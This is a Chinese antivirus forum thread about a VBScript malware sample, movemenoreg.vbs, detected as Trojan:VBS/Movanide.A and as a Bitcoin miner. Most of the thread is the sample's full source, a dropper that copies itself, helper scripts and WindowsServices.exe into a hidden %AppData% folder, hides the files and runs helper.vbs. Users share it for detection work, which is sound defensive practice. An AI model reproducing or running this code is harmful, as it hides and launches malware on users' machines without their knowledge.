movemenoreg.vbs

jdsh

evans168 发表于 2019-9-20 17:53
你的 FSP 沒在用啦???

暂时更新不了就先用会红伞beta，等更新恢复后再用

ELOHIM

Trojan:VBS/Movanide.A

Eset小粉絲

上报后，已可以检测。

wae

evans168

wae 发表于 2019-9-21 10:44

BD 報挖礦病毒 BitCoinMiner

我是电脑迷

on error resume next
Dim  strPath, objws, objFile, strFolder, Target, SourceFolder, destFolder, objDestFolder, AppData, ws, objmove, pfolder, objWinMgmt, colProcess, vaprocess
Set ws = WScript.CreateObject("WScript.Shell")

Target = "\WindowsServices"




'where are we?
strPath = WScript.ScriptFullName
set objws = CreateObject("Scripting.FileSystemObject")
Set objFile = objws.GetFile(strPath)
strFolder = objws.GetParentFolderName(objFile)
pfolder = objws.GetParentFolderName(strFolder)
ws.Run pfolder & "\_"


AppData = ws.ExpandEnvironmentStrings("%AppData%")



DestFolder = AppData & Target  ' target
SourceFolder = strFolder


if (not objws.folderexists(DestFolder)) then '檢查資料夾存在
        objws.CreateFolder DestFolder             '建立資料夾
        Set objDestFolder = objws.GetFolder(DestFolder)
        objDestFolder.Attributes = objDestFolder.Attributes + 2 '
end if

'移動並隱藏檔案
Call moveandhide ("\helper.vbs")
Call moveandhide ("\installer.vbs")
Call moveandhide ("\movemenoreg.vbs")
Call moveandhide ("\WindowsServices.exe")



sub moveandhide (name)
        if (not objws.fileexists(DestFolder & name)) then '檢查檔案存在
                objws.CopyFile strFolder & name, DestFolder & "\" '
                Set objmove = objws.GetFile(DestFolder & name)
       
                If not objmove.Attributes AND 2 then '檢查是否是隱藏的檔案
                        objmove.Attributes = objmove.Attributes + 2 '設定為隱藏
                end if
        end if
end sub



Set objWinMgmt = GetObject("WinMgmts:Root\Cimv2") '連接到本地的WMI服務
Set colProcess = objWinMgmt.ExecQuery ("Select * From Win32_Process where name = 'wscript.exe'") '找出正在執行的process中，哪個叫"wscript.exe"

For Each objProcess In colProcess
        vaprocess = objProcess.CommandLine
                if instr(vaprocess, "helper.vbs") then '檢查helper.vbs是否有在process內
                        WScript.quit
                End if
Next


ws.Run DestFolder & "\helper.vbs" '執行電腦上的"helper.vbs"


Set ws = Nothing
我已经发现多个语法问题 只能运行在老系统。。而且开启了容错模式，有错误也不知道。。例如第二行。。而且自带注释
360linux kill